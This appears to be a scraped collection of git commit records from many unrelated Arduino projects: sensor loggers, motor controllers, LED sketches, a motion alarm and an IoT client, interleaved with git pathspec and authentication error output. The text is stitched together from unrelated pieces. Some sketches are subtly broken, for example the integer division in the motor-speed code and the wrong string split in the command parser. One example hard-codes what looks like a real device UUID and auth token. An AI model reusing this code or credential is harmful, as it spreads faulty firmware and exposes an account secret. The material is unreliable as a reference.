 * Free Software Foundation, Inc., 59 Temple Place, Suite 330,
 * Boston, MA  02111-1307  USA
 *
 * @section Description
 * Cosa Nucleo Thread benchmarks
 * 1) Run 1,000,000 context switches (12-13 us)
 *
 * This file is part of the Arduino Che Cosa project.
 */

#include "Cosa/RTC.hh"
#include "Cosa/Trace.hh"
#include "Cosa/Watchdog.hh"
#include "Cosa/Nucleo/Thread.hh"
#include "Cosa/IOStream/Driver/UART.hh"

class Benchmark : public Nucleo::Thread {
public:
  virtual void run();
};

void
Benchmark::run()
{
  // This will force 1,000,000 context switches as the Nucleo main thread
  // will context switch back for each loop; 2*500*1000 in total
  // The loop handling and RTC access are included but very small values.
  while (1) {
    uint32_t start = RTC::micros();
    for (uint16_t i = 0; i < 500; i++)
      for (uint16_t j = 0; j < 1000; j++)
	yield();
    uint32_t stop = RTC::micros();
    trace << PSTR("yield: ") << (stop - start) / 1000000 << PSTR(" us") << endl;
  }
}

Benchmark bench;

void setup()
{
  uart.begin(9600);
  trace.begin(&uart, PSTR("CosaNucleoBenchmark: started"));
  Watchdog::begin();
  RTC::begin();
  Nucleo::Thread::begin(&bench, 128);
}

void loop()
{
  Nucleo::Thread::begin();
  ASSERT(true == false);
}

error: pathspec 'examples/Nucleo/CosaNucleoBenchmark/CosaNucleoBenchmark.ino' did not match any file(s) known to git


For Arduino with 10DOF and DHT22 module

For Arduino with 10DOF and DHT22 module

#include <SFE_BMP180.h>
#include "DHT.h"

#define DHTPIN 2
#define DHTTYPE DHT22
#define SERIALWAIT 200

int DELAY_TIME = 30000; //Delay Time between each processData() call (ms)

DHT dht(DHTPIN, DHTTYPE);
SFE_BMP180 pressure;

float h = 0;   //Luftfeuchte auslesen
float t = 0;   //Temperatur auslesen
float r = 0;   //Heat-Index berechnen
double p0 = 0; //Wert fuer Luftdruck

void initSerial(void)
{
  Serial.begin(9600);
  Serial.flush();
}

void initSensors(void)
{
  dht.begin();
  pressure.begin();
}

void setup(void)
{
  initSerial();
  initSensors();
}

void checkSerialData()
{
  for (int i = 1; i <=100; i++)
  {
    if ((Serial.available() > 0))
    {
      processIncomingData(Serial.readString());
      Serial.flush();
    }
    delay(DELAY_TIME / 100);
  }
}

void loop(void)
{
  processData();
  checkSerialData();
}

void processIncomingData(String data)
{
  if (data == "HELP")
  {
    Serial.println("REPLY|PROTOCOL_VERSION|GETTIMING|GET_TEMP_ARDUINO|DATA|SETTIMING|EOF");
    return;
  } else if (data == "PROTOCOL_VERSION")
  {
    Serial.println("REPLY|V2|EOF");
    return;
  } else if (data == "GETTIMING")
  {
    Serial.print("REPLY|TIMING|");
    Serial.print(DELAY_TIME);
    Serial.println("|ms|EOF");
    return;
  } else if (data == "GET_TEMP_ARDUINO")
  {
    Serial.println("REPLY|FOUND_ARDUINO|EOF");
    return;
  } else if (data == "DATA")
  {
    writeSerialProtocolV2(h, t, r, p0);
    return;
  } else if (data.startsWith("SETTIMING|"))
  {
    String tmp = data.substring(10);
    int newTiming = tmp.toInt();

    if (newTiming < 10000 || newTiming > 60000)
    {
      Serial.println("REPLY|ERROR_SET_TIMING_NOT_BETWEEN_10000_AND_60000_MS|EOF");
    } else
    {
      DELAY_TIME = newTiming;
      Serial.print("REPLY|OK_SET_TO_NEW_TIMING_");
      Serial.print(DELAY_TIME);
      Serial.println("_MS|EOF");
    }
    return;
  }

  Serial.println("REPLY|FEHLER: Nicht Implementiert!|EOF");
}

void writeSerialProtocolV2(float humanity, float temperature, float heatIndex, double airPressure)
{
  Serial.print("START");
  Serial.print("|"); // delim
  Serial.print("LEN:4"); //4 Werte werden uebertragen
  Serial.print("|"); // delim
  Serial.print(humanity); // Luftfeuchte
  Serial.print("|"); // delim
  Serial.print(temperature); // Temperatur
  Serial.print("|"); // delim
  Serial.print(heatIndex); // HeatIndex
  Serial.print("|");
  Serial.print(airPressure); //Luftdruck millibar
  Serial.print("|"); // delim
  Serial.println("EOF");
  Serial.flush();
  delay(SERIALWAIT);
}

bool getPressure(double * value)
{
  double T,P;
  char st;

  st = pressure.startTemperature();

  if (st != 0)
  {
    delay(st);
    st = pressure.getTemperature(T);
  }

  st = pressure.startPressure(3);

  if (st != 0)
  {
    delay(st);

    st = pressure.getPressure(P,T);

    if (st != 0)
    {
      *value = P;
      return true;
    }
  }
  return false;
}

void processData()
{
  h = dht.readHumidity();     //Luftfeuchte auslesen
  t = dht.readTemperature();  //Temperatur auslesen
  r = dht.computeHeatIndex(t, h, false); //Heat-Index berechnen
  p0 = 0; //Wert fuer Luftdruck
  bool pressAvailable = getPressure(&p0); //Luftdruck lesen

  if (isnan(t) || isnan(h) || isnan(r) || !pressAvailable) //Fehler beim Lesen eines der Daten
  {
    if (Serial)
    {
      Serial.println("Fehler: Daten konnten gelesen werden!");
      Serial.flush();
    }
  }
  else
  {
    writeSerialProtocolV2(h, t, r, p0);
  }

}

error: pathspec 'ArduinoTimingLight.ino' did not match any file(s) known to git


Created ability to add digital sensors on digital pins 3, 4, and 5.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/DrewMeyersCUboulder/UPOD_Bridge.git/'


Arduino: Add current untested Arduino files

/*
  Blink
  Turns on an LED on for one second, then off for one second, repeatedly.

  Most Arduinos have an on-board LED you can control. On the Uno and
  Leonardo, it is attached to digital pin 13. If you're unsure what
  pin the on-board LED is connected to on your Arduino model, check
  the documentation at http://www.arduino.cc

  This example code is in the public domain.

  modified 8 May 2014
  by Scott Fitzgerald
 */

// Pins In USE
// Motor PWM
int PIN_LEFT_REV = 3;
int PIN_LEFT_FOR = 5;

int PIN_RIGHT_REV = 6;
int PIN_RIGHT_FOR = 9;

// Serial Pins are only used by the Serial Driver
int PIN_SERIAL_RX = 0;
int PIN_SERIAL_TX = 1;

// Note SPI Pins are Used by the ODROID
int PIN_SPI_SS   = 10;
int PIN_SPI_MOSI = 11;
int PIN_SPI_MISO = 12;
int PIN_SPI_SCK  = 13;

// Command Strings
// // Incoming
String CMD_IN_DRIVE_MOTOR_CTRL = "DMC";
String CMD_IN_PROGRAM = "PROG";         // Sets spi lines back to high impedence for ISP

// // Outgoing
String CMD_OUT_READY = "READY";
String CMD_OUT_DRIVE_MOTOR_LEFT_SPEED = "DMLS";
String CMD_OUT_DRIVE_MOTOR_RIGHT_SPEED = "DMRS";

String inputString = "";         // a string to hold incoming data
boolean stringComplete = false;  // whether the string is complete

// the setup function runs once when you press reset or power the board
void setup() {

  // Wait 10 seconds before starting to give the ISP programmer a chance to kick in
  //  Will remove once the prog command is tested
  delay(10000);

  // initialize digital pin b2-b5 as input so they can be used as spi bus
  digitalWrite(PIN_SPI_SS, LOW);
  digitalWrite(PIN_SPI_MOSI, LOW);
  digitalWrite(PIN_SPI_MISO, LOW);
  digitalWrite(PIN_SPI_SCK, LOW);

  // SPI Pins are inputs
  pinMode(PIN_SPI_SS, INPUT);
  pinMode(PIN_SPI_MOSI, INPUT);
  pinMode(PIN_SPI_MISO, INPUT);
  pinMode(PIN_SPI_SCK, INPUT);

  // PWM pins as outputs
  pinMode(PIN_LEFT_REV,  OUTPUT);
  pinMode(PIN_LEFT_FOR,  OUTPUT);
  pinMode(PIN_RIGHT_REV, OUTPUT);
  pinMode(PIN_RIGHT_FOR, OUTPUT);

  inputString.reserve(200);  // Reserve space for incoming command
  Serial.begin(115200);      // open the serial port at 9600 bps:

  Serial.print(CMD_OUT_READY+"\n");
}

// the loop function runs over and over again forever
void loop()
{
  // Decode the string when a newline arrives:
  if (stringComplete)
  {
    // Temp debug code
    String echo = String("echo: ");
    Serial.println(echo+inputString);
    String DecodeString = inputString;
    // clear the string early incase more comes in
    inputString = "";
    stringComplete = false;

    // Decode commands
    //   Extract command name before (:)
    DecodeString.trim();
    String CMDString;
    String DataString;

    int DecodeSplit = DecodeString.indexOf(':');
    if (DecodeSplit == -1)
    {
       CMDString = DecodeString;
    }
    else
    {
       CMDString = DecodeString.substring(0,DecodeSplit);
       DataString = DecodeString.substring(DecodeSplit+1);
    }

    String dcd = String("dcd::");
    Serial.print(dcd+CMDString+"::"+DataString+"\n");

     // Main Drive Motor Control, value from -100 to 100
     if (CMDString == CMD_IN_DRIVE_MOTOR_CTRL)
     {
       int DataSplit = DataString.indexOf(',');
       String LeftStr = String("0");
       String RightStr = String("0");
       if (DataSplit == -1)
       {
          LeftStr = DecodeString;
       }
       else
       {
         LeftStr = DecodeString.substring(0,DataSplit);
         RightStr = DecodeString.substring(DataSplit+1);
       }

       leftMotorSpeed(LeftStr.toInt());
       rightMotorSpeed(RightStr.toInt());
     }
     else if (CMDString == CMD_IN_PROGRAM)
     {
       // SPI Pins back to High for ISP
       digitalWrite(PIN_SPI_SS,   HIGH);
       digitalWrite(PIN_SPI_MOSI, HIGH);
       digitalWrite(PIN_SPI_MISO, HIGH);
       digitalWrite(PIN_SPI_SCK,  HIGH);

       Serial.print(CMD_OUT_READY+" Program\n");
     }
  }

}

/*
  SerialEvent occurs whenever a new data comes in the
 hardware serial RX.  This routine is run between each
 time loop() runs, so using delay inside loop can delay
 response.  Multiple bytes of data may be available.
 */
void serialEvent() {
  while (Serial.available()) {
    // get the new byte:
    char inChar = (char)Serial.read();
    // add it to the inputString:
    inputString += inChar;
    // if the incoming character is a newline, set a flag
    // so the main loop can do something about it:
    if (inChar == '\n') {
      stringComplete = true;
    }
  }
}

// Sets left Motor Speed -100 to 100
void leftMotorSpeed(int Speed)
{
    if (Speed == 0)
   {
     analogWrite(PIN_LEFT_REV, 0);
     analogWrite(PIN_LEFT_FOR, 0);
   }
   else if (Speed < 0)
   {
     Speed = Speed*-1;
     // Convert from 0-100 to 0-255
     analogWrite(PIN_LEFT_FOR, 0);
     analogWrite(PIN_LEFT_REV, (Speed/100)*255);
   }
   else
   {
     analogWrite(PIN_LEFT_REV, 0);
     analogWrite(PIN_LEFT_FOR, (Speed/100)*255);
   }
   Serial.print(CMD_OUT_DRIVE_MOTOR_LEFT_SPEED+":"+Speed+"\n");
}

void rightMotorSpeed(int Speed)
  {
    if (Speed == 0)
     {
       analogWrite(PIN_RIGHT_REV, 0);
       analogWrite(PIN_RIGHT_FOR, 0);
     }
     else if (Speed < 0)
     {
       Speed = Speed*-1;
       // Convert from 0-100 to 0-255
       analogWrite(PIN_RIGHT_FOR, 0);
       analogWrite(PIN_RIGHT_REV, (Speed/100)*255);
     }
     else
     {
       analogWrite(PIN_RIGHT_REV, 0);
       analogWrite(PIN_RIGHT_FOR, (Speed/100)*255);
     }
     Serial.print(CMD_OUT_DRIVE_MOTOR_RIGHT_SPEED+":"+Speed+"\n");
}

error: pathspec 'src/Arduino/RobotCtrl/RobotCtrl.ino' did not match any file(s) known to git


Use BUILTIN_LED

Use BUILTIN_LED

/*
 ESP8266 BlinkWithoutDelay by Simon Peter
 Blink the blue LED on the ESP-01 module
 Based on the Arduino Blink without Delay example
 This example code is in the public domain

 The blue LED on the ESP-01 module is connected to GPIO1
 (which is also the TXD pin; so we cannot use Serial.print() at the same time)

 Note that this sketch uses BUILTIN_LED to find the pin with the internal LED
*/

int ledState = LOW;

unsigned long previousMillis = 0;
const long interval = 1000;

void setup() {
  pinMode(BUILTIN_LED, OUTPUT);
}

void loop()
{
  unsigned long currentMillis = millis();
  if(currentMillis - previousMillis >= interval) {
    previousMillis = currentMillis;
    if (ledState == LOW)
      ledState = HIGH;  // Note that this switches the LED *off*
    else
      ledState = LOW;   // Note that this switches the LED *on*
    digitalWrite(BUILTIN_LED, ledState);
  }
}

/*
 ESP8266 BlinkWithoutDelay by Simon Peter
 Blink the blue LED on the ESP-01 module
 Based on the Arduino Blink without Delay example
 This example code is in the public domain
*/

const int ledPin =  1;  // The blue LED on the ESP-01 module is connected to GPIO1
                        // (which is also the TXD pin; so we cannot use
                        // Serial.print() at the same time

int ledState = LOW;

unsigned long previousMillis = 0;
const long interval = 1000;

void setup() {
  pinMode(ledPin, OUTPUT);
}

void loop()
{
  unsigned long currentMillis = millis();
  if(currentMillis - previousMillis >= interval) {
    previousMillis = currentMillis;
    if (ledState == LOW)
      ledState = HIGH;  // Note that this switches the LED *off*
    else
      ledState = LOW;   // Note that this switches the LED *on*
    digitalWrite(ledPin, ledState);
  }
}


Create retouch_accelero.ino

Create retouch_accelero.ino

/*
Connect SCLK, MISO, MOSI, and CSB of ADXL362 to
SCLK, MISO, MOSI, and DP 10 of Arduino
(check http://arduino.cc/en/Reference/SPI for details)

*/

#include <SPI.h>
#include <ADXL362.h>
#include <CapacitiveSensor.h>

ADXL362 xl;

int16_t temp;
int16_t XValue, YValue, ZValue, Temperature;

CapacitiveSensor capSensor = CapacitiveSensor(7,6);
CapacitiveSensor capSensor2 = CapacitiveSensor(8,9);
int threshold = 360;

int statoplay= 8;
int stato= 0;
int traccia = 0;

void setup(){

  Serial.begin(2400);
  xl.begin(10);                   // Setup SPI protocol, issue device soft reset
  xl.beginMeasure();              // Switch ADXL362 to measure mode

  Serial.println("ReAudioguide touch + accelero: test dei sensori");
}

void loop(){
  long sensorValue = capSensor.capacitiveSensor(3);
  long sensorValue2 = capSensor2.capacitiveSensor(3);

   if(sensorValue2 > threshold){
     if(traccia != 2){
       Serial.write(2); //Basso,
       //Serial.print("\n Traccia Ordine basso ");
       traccia = 2;
     }
  }
  if(sensorValue > threshold) {
    if(traccia != 1){
     Serial.write(1); //Piazza,
     //Serial.print("\n Traccia Piazza ");
     traccia = 1;
    }
  }
  xl.readXYZTData(XValue, YValue, ZValue, Temperature);

  if(XValue > 1100 || XValue < -1100) {
    if(statoplay != 8){
      Serial.write(8); //Pausa,
      //Serial.print("\n PAUSA ");
      statoplay = 8; // ex statoplay
      traccia = 0;
    }
  }else{
     if((statoplay != 9)&&(XValue < 600 && XValue > -600)){
       Serial.write(9); //Play,
       //Serial.print("\n PLAY ");
       statoplay=9; // ex statoplay
       traccia = 0;
     }
  }
  if(YValue > 500) {
    if(YValue > 1200) {
      if(stato != 12){
         Serial.write(12); //Rewind,
         //Serial.print("\n REWIND ");
         stato=12;
      }
    }else{
      if(stato == 12){
        if(YValue < 700) {
          Serial.write(9); //Play,
          //Serial.print("\n PLAY ");
          stato=0;
        }
      }
    }
  }
  if(YValue < -500) {
    if(YValue < -1200) {
      if(stato != 22){
         Serial.write(22); //Foward,
         //Serial.print("\n FOWARD ");
         stato=22;
      }
    }else{
      if(stato == 22){
        if(YValue > -700) {
          Serial.write(9); //Play,
          //Serial.print("\n PLAY ");
          stato=0;
        }
      }
    }
  }
/* Serial.println(Temperature);	 */
  delay(30);
}

error: pathspec 'Arduino/retouch_accelero.ino' did not match any file(s) known to git


new serial print just for testing

new serial print just for testing

error: pathspec 'Motor' did not match any file(s) known to git
error: pathspec 'Code/MotorsTX_EZ/MotorsTX_EZ.ino' did not match any file(s) known to git


Create mileduino.ino

Create mileduino.ino

Copy of mileduinoCANCalcMega.ino

#include <SD.h>
#include <CanbusMega.h>
//#include <SoftwareSerial.h>
#include <TinyGPS.h>

#define GPSRATE 4800

//SoftwareSerial for lcd
//SoftwareSerial lcd = SoftwareSerial(0, 16);
//pin for the SD card
const int chipSelect = 9;
//buffer for stuff off the CAN bus
char buffer[10];

//for MPG calculation
float massAirFlow = 0.0;
float vehicleSpeed = 0.0;
float MPG = 0.0;
char* mpgBuf;
const float multiplier1 = 41177.346;
const float multiplier2 = 0.621371;
const int multiplier3 = 3600;

//GPS object
TinyGPS gps;

void getData(TinyGPS &gps);

void setup()
{
  Serial.begin(9600);
  Serial2.begin(9600);
  Serial3.begin(GPSRATE);
  LCDinitialize();
  LCDsetContrast(50);
  LCDsetBrightness(8);
  if(!SD.begin(chipSelect))
  {
    return;
  }

  Canbus.init(CANSPEED_500);

  LCDclear();
  LCDsetCursor(1,0);
  Serial2.print("   Mileduino");
  delay(3000);

  LCDclear();
  //Removes old CANGPS.TXT file.
  if(SD.exists("CANGPS.TXT"))
  {
    SD.remove("CANGPS.TXT");
  }
}
void loop()
{
  while(Serial3.available())
  {
    int c= Serial3.read();
    if(gps.encode(c))
    {
      getData(gps);
    }
  }
}

void getData(TinyGPS &gps)
{
  float latitude, longitude;

  File outFile = SD.open("CANGPS.TXT", FILE_WRITE);
  gps.f_get_position(&latitude, &longitude);
  if((Canbus.ecu_req(MAF_SENSOR, buffer) == 1))
    {
      massAirFlow = atof(buffer);
    }
    if((Canbus.ecu_req(VEHICLE_SPEED, buffer) == 1))
    {
      vehicleSpeed = atof(buffer);
    }

    MPG = (multiplier1 * (vehicleSpeed * multiplier2))/ (multiplier3 * massAirFlow);

    LCDsetCursor(1, 1);
    //lcd.print("MPG: ");
    Serial2.print("MPG: ");
    LCDsetCursor(2, 1);
    //lcd.print(MPG);
    Serial2.print(MPG, 2);
    outFile.print("mpg,");
    outFile.print(MPG, 2);
    outFile.print("\n");
    outFile.print("lat,");
    outFile.print(latitude,6);
    outFile.print("\n");
    outFile.print("long,");
    outFile.print(longitude,6);
    outFile.print("\n");
    outFile.close();
}

void LCDinitialize(){
  //lcd.write(0xFE);
  //lcd.write(0x41);
  //lcd.write(0xFE);
  //lcd.write(0x51);
  Serial2.write(0xFE);
  Serial2.write(0x41);
  Serial2.write(0xFE);
  Serial2.write(0x51);
}

void LCDsetContrast(int contrast){
  if(contrast >50){
    return;
  }
  //lcd.write(0xFE);
  //lcd.write(0x52);
  //lcd.write(contrast);
  Serial2.write(0xFE);
  Serial2.write(0x52);
  Serial2.write(contrast);
}

void LCDsetBrightness(int level){
  if(level > 8){
    return;
  }
  //lcd.write(0xFE);
  Serial2.write(0xFE);
  //lcd.write(0x53);
  Serial2.write(0x53);
  //lcd.write(level);
  Serial2.write(level);
}

void LCDsetCursor(int line_num, int x){
  int g_index[4] = {
    0x00, 0x40, 0x14, 0x54           };
  //lcd.write(0xFE);
  Serial2.write(0xFE);
  //lcd.write(0x45);
  Serial2.write(0x45);
  //lcd.write(g_index[line_num-1] + x - 1);
  Serial2.write(g_index[line_num-1] + x -1);
}

void LCDclear(){
  //lcd.write(0xFE);
  //lcd.write(0x51);
  Serial2.write(0xFE);
  Serial2.write(0x51);
}

error: pathspec 'mileduino.ino' did not match any file(s) known to git


SwSerial.ino edited online with Bitbucket

#define BLYNK_PRINT Serial    // Comment this out to disable prints and save space
#include <SoftwareSerial.h>
#include <BlynkSerial.h>

typedef BlynkTransportSerial<SoftwareSerial> SwSerialTransp;

SoftwareSerial mySerial(10,11);
SwSerialTransp myTransp(mySerial);
BlynkSerial<SwSerialTransp> Blynk(myTransp);

void setup()
{
  Serial.begin(9600);
  Blynk.begin("YourAuthToken", 9600); // You can get Auth Token in the Blynk App. Go to the Project Settings (nut icon).
}

void loop()
{
  Blynk.run();
}

#define BLYNK_PRINT Serial    // Comment this out to disable prints and save space
#include <SoftwareSerial.h>
#include <BlynkSerial.h>

typedef BlynkTransportSerial<SoftwareSerial> SwSerialTransp;

SoftwareSerial mySerial(10,11);
SwSerialTransp myTransp(mySerial);
BlynkSerial<SwSerialTransp> Blynk(myTransp);

void setup()
{
  Serial.begin(9600);
  Blynk.begin("00000000000000000000000000000000", 9600);
}

void loop()
{
  Blynk.run();
}


worked with greg to build a functional demo

#include <Adafruit_NeoPixel.h>
#include <stdint.h>

////////////////////////////////////////////////////
//for the soil moistures sensor
uint32_t s_sig_a = A0;
uint32_t s_sig_b = A2;
uint32_t soil_sense = A1;

//thanks, adafruit!

uint32_t max_dry = 600;
uint32_t medium_dry = 300;
uint32_t medium_wet = 100;
uint32_t very_wet = 0;

int r_value;
int g_value;
int b_value;

uint32_t reading;

#define PIN 6
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
//   NEO_KHZ800  800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
//   NEO_KHZ400  400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
//   NEO_GRB     Pixels are wired for GRB bitstream (most NeoPixel products)
//   NEO_RGB     Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
Adafruit_NeoPixel strip = Adafruit_NeoPixel(1, PIN, NEO_RGB + NEO_KHZ400);

void setup() {
  Serial.begin(115200);
  strip.begin();
  strip.show(); // Initialize all pixels to 'off'
}

void loop() {
  // Some example procedures showing how to display to the pixels:
  //color(strip.Color(255, 0, 0), 50); // blue
  //color(strip.Color(0, 255, 0), 50); // red
  //color(strip.Color(0, 0, 255), 50); // green
  Serial.println(soil_moisture());
  /*
  if (soil_moisture() >=450){color(strip.Color(0,255,0), 50);} // red -- dry
  else if (soil_moisture() <450 && soil_moisture() >=400) {  color(strip.Color(0,255,50), 50); // orange -- pretty dry
  else if (soil_moisture() <400 && soil_moisture() >=350) {  color(strip.Color(0,255,150), 50); // yellow -- not too dry
  else if (soil_moisture() <350 && soil_moisture() >300) {  color(strip.Color(0,255,255), 50); // light green -- pretty good
  else if (soil_moisture() <=300 && soil_moisture() >200) {color(strip.Color(0,0,255), 50);} // green good
  else if (soil_moisture() >150 && soil_moisture() <=200) {color(strip.Color(155,0,255), 50);} //a little wet-- light green/blue
  else if (soil_moisture() >100 && soil_moisture() <=150) {color(strip.Color(255,0,255), 50);} //a little too wet -- turquise
  else if (soil_moisture() >50 && soil_moisture() <=100) {color(strip.Color(255,0,0), 50);} //blue -- too wet
  else if (soil_moisture() <=50) {color(strip.Color(255,255,0), 10);} //purple -- soaking*
*/

reading = soil_moisture();
Serial.println(reading);
if ( reading > max_dry) {
  r_value =  255;
  g_value =  0;
  b_value =  0; // no blue in the dry region
} else if  ( reading > medium_dry ) {
  r_value =  0  + 255*(reading - medium_dry)/(max_dry - medium_dry);
  g_value =  255 - 255*(reading - medium_dry)/(max_dry - medium_dry);
  b_value =  0; // no blue in the dry region
} else if ( medium_dry > reading && reading > medium_wet ){
  r_value =  0; // no red in the wet region
  g_value =  255 - 255*(medium_dry - reading)/(medium_dry - medium_wet);
  b_value =  0  + 255*(medium_dry - reading)/(medium_dry - medium_wet);
} else if ( medium_wet > reading && reading >= very_wet)  {
  r_value =  0  + 255*(medium_wet - reading)/(medium_wet - very_wet);
  g_value =  0; // no green in the very_wet region
  b_value =  255; // for style keep blue, just add purple
}
color(strip.Color(b_value, r_value, g_value),10);
//green in the middle
//subtract from green add to red
//subtract from blue add to green
//add red to blue

 }

// Fill the dots one after the other with a color
void color(uint32_t c, uint8_t wait) {
  for(uint16_t i=0; i<strip.numPixels(); i++) {
      strip.setPixelColor(i, c);
      strip.show();
      delay(wait);
  }
}

// Input a value 0 to 255 to get a color value.
// The colours are a transition r - g - b - back to r.
uint32_t Wheel(byte WheelPos) {
  if(WheelPos < 85) {
   return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
  } else if(WheelPos < 170) {
   WheelPos -= 85;
   return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
  } else {
   WheelPos -= 170;
   return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
  }
}

uint32_t soil_moisture() {

pinMode(s_sig_a, OUTPUT);
digitalWrite(s_sig_a, LOW);
pinMode(soil_sense, OUTPUT);
digitalWrite(soil_sense, LOW);
pinMode(s_sig_a, OUTPUT);
digitalWrite(s_sig_b, LOW);
delay(10); //200
//next we make the voltage divider
pinMode(soil_sense, INPUT); //reads the voltage divider
// A0 and A4 to outputs
pinMode(s_sig_a, OUTPUT);
digitalWrite(s_sig_a,HIGH);
pinMode(s_sig_b, OUTPUT);
digitalWrite(s_sig_b,LOW);
//finally we poll for voltage reading
delay(25); //was 500
return(analogRead(soil_sense));

}

error: pathspec 'rgbmois.ino' did not match any file(s) known to git


add TemplateSketch.ino example

add TemplateSketch.ino example

#include <DcsBios.h>
#include <Servo.h>

/**** Make your changes after this line ****/

/**** In most cases, you do not have to change anything below this line ****/

/* Instantiate a ProtocolParser object to parse the DCS-BIOS export stream */
DcsBios::ProtocolParser parser;

void setup() {
  Serial.begin(500000);
}

/*
Your main loop needs to pass data from the DCS-BIOS export
stream to the parser object you instantiated above.

It also needs to call DcsBios::PollingInput::pollInputs()
to detect changes in the state of connected controls and
pass them on to DCS.
*/
void loop() {
  // feed incoming data to the parser
  while (Serial.available()) {
      parser.processChar(Serial.read());
  }

  // poll inputs
  DcsBios::PollingInput::pollInputs();
}

/*
You need to define
void sendDcsBiosMessage(const char* msg, const char* arg)
so that the string msg, followed by a space, the string arg
and a newline gets sent to the DCS-BIOS import stream.

In this example we send it to the serial port, so you need to
run socat to read the data from the serial port and send it
over UDP to DCS-BIOS.

If you are using an Ethernet Shield, you would probably want
to send a UDP packet from this subroutine.
*/
void sendDcsBiosMessage(const char* msg, const char* arg) {
  Serial.write(msg);
  Serial.write(' ');
  Serial.write(arg);
  Serial.write('\n');
}

/*
This subroutine gets called every time a message is received
from the export stream (you need to define it even if it
does nothing).

Use this to handle outputs which are not covered by the
DcsBios Arduino library (e.g. displays).
*/
void onDcsBiosMessage(const char* msg, const char* arg) {

}

error: pathspec 'examples/TemplateSketch/TemplateSketch.ino' did not match any file(s) known to git


Create PP_G3099b0302.ino

Create PP_G3099b0302.ino

Arduino with cc3000wifi based/G3_module/PP_G3099b0302.ino

error: pathspec 'Arduino' did not match any file(s) known to git
error: pathspec 'with' did not match any file(s) known to git
error: pathspec 'cc3000wifi' did not match any file(s) known to git
error: pathspec 'based/G3_module/PP_G3099b0302.ino' did not match any file(s) known to git


rduino part

rduino part

#include <JeeLib.h>
#include <RCSwitch.h> // https://code.google.com/p/rc-switch/
#include <PinChangeInt.h>

RCSwitch rf = RCSwitch();
ISR(WDT_vect) {Sleepy::watchdogEvent();}  // Setup for low power waiting

int calibrationTime = 10;        //the time we give the sensor to calibrate (10-60 secs according to the datasheet)
int rfPacketsToSend = 10;

// Pins
int PIR = 2;
int LED = 13;
int RFTX = 9;   // Transmitter is connected to Arduino Pin #10

int rfAlertCode = 666; // code send when motion detected

void setup() {
  Serial.begin(9600);
  pinMode(PIR, INPUT);
  pinMode(LED, OUTPUT);
  rf.enableTransmit(RFTX);

  PRR = bit(PRTIM1);                           // only keep timer 0 going
  ADCSRA &= ~ bit(ADEN); bitSet(PRR, PRADC);   // Disable the ADC to save power
  PCintPort::attachInterrupt(PIR, wakeUp, CHANGE);

  CalibratePirSensor();  //give the sensor some time to calibrate
}

void loop() {
  int ll = HIGH;
  delay(100);
  Serial.println("Motion detected");
  for (int i = 0; i < rfPacketsToSend; i++)
  {
    Serial.print(".");
    rf.send(rfAlertCode, 24);
    digitalWrite(LED, ll);
    ll = ll == HIGH ? LOW : HIGH;
  }

  Serial.println("");

  Sleepy::powerDown();
}

void wakeUp() {}

void CalibratePirSensor()
{
  int ll = HIGH;
  Serial.println("Calibrating PIR sensor ");
  for (int i = 0; i < calibrationTime; i++) {
    Serial.print(".");
    delay(1000);
    digitalWrite(LED, ll);
    ll = ll == HIGH ? LOW : HIGH;
  }
  Serial.println("");
  Serial.println("Sensor active");
  digitalWrite(LED, LOW);
  delay(50);
}

error: pathspec 'HomeBot.Arduino/Sensors/Motion/Motion.ino' did not match any file(s) known to git


re-adding example

re-adding example

// This #include statement was automatically added by the Spark IDE.
#include "tentacle-particle/tentacle-particle.h"

#define server "tentacle.octoblu.com"
#define port 80

// IPAddress server(192,168,100,9);
// #define port 8111

static const char uuid[]  = "91f33395-847a-4d71-af25-fd3abe3371bc";
static const char token[] = "24fefe99413b16283f41c7cf8c82d376211392f7";

TCPClient conn;

TentacleArduino tentacle;
Pseudopod pseudopod(conn, conn, tentacle);

uint32_t lastPing = 0;

void setup() {
  Serial.begin(9600);
  Serial.println(F("The Day of the Tentacle has begun!"));
  connectToServer();
}

void loop() {
  if (!isConnected()) {
    conn.stop();
    connectToServer();
  }

  readData();

  if(pseudopod.shouldBroadcastPins() ) {
    delay(pseudopod.getBroadcastInterval());
    size_t configSize = pseudopod.sendConfiguredPins();
    Serial.print(configSize);
    Serial.print(F(" bytes written while broadcasting pins"));
  }

}

bool isConnected() {
  if(!conn.connected()) {
    return false;
  }

  //send keepalive every 5 seconds.
  if( (millis() - lastPing) > 5000) {
    Serial.println(F("Pinging the server"));
    Serial.flush();
    lastPing = millis();
    return pseudopod.isConnected();

  }

  return true;
}

void readData() {
  while (conn.available()) {
    Serial.println(F("Received message"));
    Serial.flush();

    if(pseudopod.readMessage() == TentacleMessageTopic_action) {
      Serial.println(F("Got an action message"));
      pseudopod.sendPins();
    }
  }
}

void connectToServer() {
  int connectionAttempts = 0;
  Serial.println(F("Connecting to the server."));
  Serial.flush();

  while(!conn.connect(server, port)) {
    Serial.println(F("Can't connect to the server."));
    Serial.flush();
    conn.stop();
    connectionAttempts++;
  }

  size_t authSize = pseudopod.authenticate(uuid, token);
  Serial.print(authSize);
  Serial.println(F(" bytes written for authentication"));
}

error: pathspec 'firmware/examples/tentacle-particle/tentacle-particle.ino' did not match any file(s) known to git


updated shell.ini comments

updated shell.ini comments

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/u-fire/ECSalinity.git/'


Arduino Code

Arduino Code

error: pathspec 'Arduino' did not match any file(s) known to git
error: pathspec 'Code/nrf24_multipro/nRF24_multipro/nRF24_multipro.ino' did not match any file(s) known to git


cat adem 4

cat adem 4

serial number

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/SynerconTechnologies/SmartSensorSimulator.git/'


